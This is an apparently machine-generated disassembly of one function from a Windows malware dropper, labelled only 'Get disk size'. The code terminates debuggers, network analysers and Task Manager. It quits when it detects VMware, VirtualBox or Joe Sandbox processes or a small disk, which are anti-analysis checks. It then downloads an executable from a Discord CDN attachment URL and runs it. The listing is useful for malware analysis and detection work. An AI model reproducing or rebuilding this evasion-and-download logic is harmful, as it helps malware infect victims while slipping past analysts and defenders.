Function at 0x140001f4a
Capabilities:
Get disk size

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x3b8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x370], ecx
mov qword [rbp + 0x378], rdx
call sym.__main
lea rax, [rbp + 0x201]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x201]
lea rax, [rbp + 0x40]
mov r8, rdx
lea rdx, str.ProcessHacker.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x202]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x202]
lea rax, [rbp + 0x40]
add rax, 0x20
mov r8, rdx
lea rdx, str.httpdebuggerui.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x203]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x203]
lea rax, [rbp + 0x40]
add rax, 0x40
mov r8, rdx
lea rdx, str.wireshark.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x204]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x204]
lea rax, [rbp + 0x40]
add rax, 0x60
mov r8, rdx
lea rdx, str.HttpAnalyzerV7.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x205]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x205]
lea rax, [rbp + 0x40]
sub rax, 0xffffffffffffff80
mov r8, rdx
lea rdx, str.fiddler.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x206]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x206]
lea rax, [rbp + 0x40]
add rax, 0xa0
mov r8, rdx
lea rdx, str.taskmgr.psutilexe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x207]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x207]
lea rax, [rbp + 0x40]
add rax, 0xc0
mov r8, rdx
lea rdx, str.regedit.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x208]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x208]
lea rax, [rbp + 0x40]
add rax, 0xe0
mov r8, rdx
lea rdx, str.cmd.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x209]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x209]
lea rax, [rbp + 0x40]
add rax, 0x100
mov r8, rdx
lea rdx, str.taskmgr.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20a]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x20a]
lea rax, [rbp + 0x40]
add rax, 0x120
mov r8, rdx
lea rdx, str.vboxservice.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20b]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x20b]
lea rax, [rbp + 0x40]
add rax, 0x140
mov r8, rdx
lea rdx, str.ollydbg.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20c]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x20c]
lea rax, [rbp + 0x40]
add rax, 0x160
mov r8, rdx
lea rdx, str.dnSpy.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20d]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x20d]
lea rax, [rbp + 0x40]
add rax, 0x180
mov r8, rdx
lea rdx, str.procexp64.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20e]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x20e]
lea rax, [rbp + 0x40]
add rax, 0x1a0
mov r8, rdx
lea rdx, str.procexp.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x40]
mov r12, rax
mov r13d, 0xe
lea rax, [rbp + 0x20f]
mov rcx, rax
call fcn.140009af0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r13
lea rcx, [rbp + 0x20f]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x20]
mov r8, rcx
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector_std::initializer_list_std::__cxx11::basic_string_
lea rax, [rbp + 0x20f]
mov rcx, rax
call sym.std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____::allocator__
lea rbx, [rbp + 0x40]
add rbx, 0x1c0
lea rax, [rbp + 0x40]
cmp rbx, rax
je 0x140002290
sub rbx, 0x20
mov rcx, rbx
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140002279
lea rax, [rbp + 0x20e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20c]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20b]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20a]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x209]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x208]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x207]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x206]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x205]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x204]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x203]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x202]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x201]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x29b]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x29b]
lea rax, [rbp + 0x210]
mov r8, rdx
lea rdx, str.VMwareService.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x29c]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x29c]
lea rax, [rbp + 0x210]
add rax, 0x20
mov r8, rdx
lea rdx, str.VMwareTray.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x29d]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x29d]
lea rax, [rbp + 0x210]
add rax, 0x40
mov r8, rdx
lea rdx, str.joeboxcontrol.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x29e]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x29e]
lea rax, [rbp + 0x210]
add rax, 0x60
mov r8, rdx
lea rdx, str.vmwareuser.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x210]
mov rsi, rax
mov edi, 4
lea rax, [rbp + 0x29f]
mov rcx, rax
call fcn.140009af0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rdi
lea rcx, [rbp + 0x29f]
lea rdx, [rbp - 0x60]
mov rax, rbp
mov r8, rcx
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector_std::initializer_list_std::__cxx11::basic_string_
lea rax, [rbp + 0x29f]
mov rcx, rax
call sym.std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____::allocator__
lea rbx, [rbp + 0x210]
sub rbx, 0xffffffffffffff80
lea rax, [rbp + 0x210]
cmp rbx, rax
je 0x14000249d
sub rbx, 0x20
mov rcx, rbx
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140002483
lea rax, [rbp + 0x29e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x29d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x29c]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x29b]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.killProcesses_std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char________const_
mov rax, rbp
mov rcx, rax
call sym.checkAndExitVM_std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char________const_
movss xmm0, dword [0x14000c304]
movss dword [rbp + 0x32c], xmm0
cmp dword [rbp + 0x370], 1
jle 0x14000257b
lea rax, [rbp + 0x2ce]
mov rcx, rax
call fcn.140002bf0
mov rax, qword [rbp + 0x378]
add rax, 8
mov rdx, qword [rax]
lea rcx, [rbp + 0x2ce]
lea rax, [rbp + 0x2a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2a0]
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stof_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long_
movd eax, xmm0
mov dword [rbp + 0x32c], eax
lea rax, [rbp + 0x2a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ce]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x48]
mov r9, rax
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call rax
test eax, eax
setne al
test al, al
je 0x140002600
mov rax, qword [rbp - 0x48]
test rax, rax
js 0x1400025b8
pxor xmm0, xmm0
cvtsi2ss xmm0, rax
jmp 0x1400025d1
mov rdx, rax
shr rdx, 1
and eax, 1
or rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, rdx
addss xmm0, xmm0
movss xmm1, dword [0x14000c308]
divss xmm0, xmm1
movss dword [rbp + 0x328], xmm0
movss xmm0, dword [rbp + 0x32c]
comiss xmm0, dword [rbp + 0x328]
jbe 0x140002600
mov ecx, 1
call sym.exit
lea rax, [rbp + 0x2cf]
mov rcx, rax
call fcn.140002bf0
lea rdx, [rbp + 0x2cf]
lea rax, [rbp - 0x20]
mov r8, rdx
lea rdx, str.https:__cdn.discordapp.com_attachments_1115465529789010012_1211573804921524274_testdelay.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2cf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.FileName_abi:cxx11___
lea rax, str.Artificial_delay_for_2_seconds..._n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, 0x7d0
call sym.artificialDelay_int_
lea rax, [rbp + 0x2d0]
lea rdx, [rbp - 0x40]
lea r8, str..exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.Download_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov dword [rbp + 0x324], eax
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp dword [rbp + 0x324], 0
jne 0x140002752
lea rax, str.Download_successful._Waiting_for_10_seconds..._n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [rbp + 0x2fc], 0xa
lea rdx, [rbp + 0x2fc]
lea rax, [rbp + 0x2f0]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp + 0x2f0]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
lea rax, str.Waiting_complete._Closing_process_handles._n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x300]
lea rdx, [rbp - 0x40]
lea r8, str..exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.RunProcess_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
mov eax, ebx
jmp 0x140002a3c
add rsp, 0x3b8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret